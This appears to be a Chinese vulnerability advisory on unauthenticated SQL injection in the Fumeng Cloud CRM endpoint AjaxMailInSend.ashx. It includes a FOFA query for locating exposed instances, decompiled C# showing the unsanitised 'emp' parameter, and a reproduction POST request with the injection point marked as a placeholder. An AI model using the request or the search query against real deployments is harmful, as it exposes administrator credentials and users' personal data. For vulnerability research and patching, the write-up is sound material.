漏洞简介
上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云AjaxMailInSend.ashx接口存在多个SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
fofa语法
app="孚盟软件-孚盟云"
漏洞分析
直接看 AjaxMailInSend.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 AjaxMailInSend 方法的实现如下
public void ProcessRequest(HttpContext context)
{
new SqlAndHtmlChecker(context.Request, context.Response).Check();
Helper.WriteLog("内分发开始begin", "mailinsend");
context.Response.ContentType = "text/plain";
string str1 = UserCookie.GetCookieValue("empId");
if (!string.IsNullOrEmpty(str1))
str1 = FumaCRM_BS.Utility.Encrypt.Encrypt.DesDecrypt(str1);
string str2 = context.Request["action"];
if (!string.op_Equality(str2, "autoMailTranRuler"))
{
if (!string.op_Equality(str2, "getEmpAndImg"))
return;
this.getEmpAndImg(context, str1);
}
else
this.NoAutoMailTranRuler(context.Request["fid"], context.Request["mid"], context.Request["emp"], Convert.ToBoolean(context.Request["auotTrans"]), Convert.ToBoolean(context.Request["transFlag"]), Convert.ToBoolean(context.Request["noticeFlag"]), context.Request["memo"], str1, context);
}
当action=autoMailTranRuler时,看下NoAutoMailTranRuler方法的实现

参数emp未经过任何过滤或校验就被直接拼接进SQL语句中进行执行,从而造成SQL注入漏洞。
当action=getEmpAndImg时,一样的存在SQL注入漏洞

漏洞复现
POST /m/Dingding/Ajax/AjaxMailInSend.ashx HTTP/1.1
Host: fumacrm.mrxn.net
Cookie: UserCookie={"empId":"1"}
Content-Type: application/x-www-form-urlencoded
action=autoMailTranRuler&emp=1)SQLI_POC&fid=&mid=&auotTrans=false&transFlag=false¬iceFlag=false&memo=

成功通过报错注入在响应回显数数据库用户信息

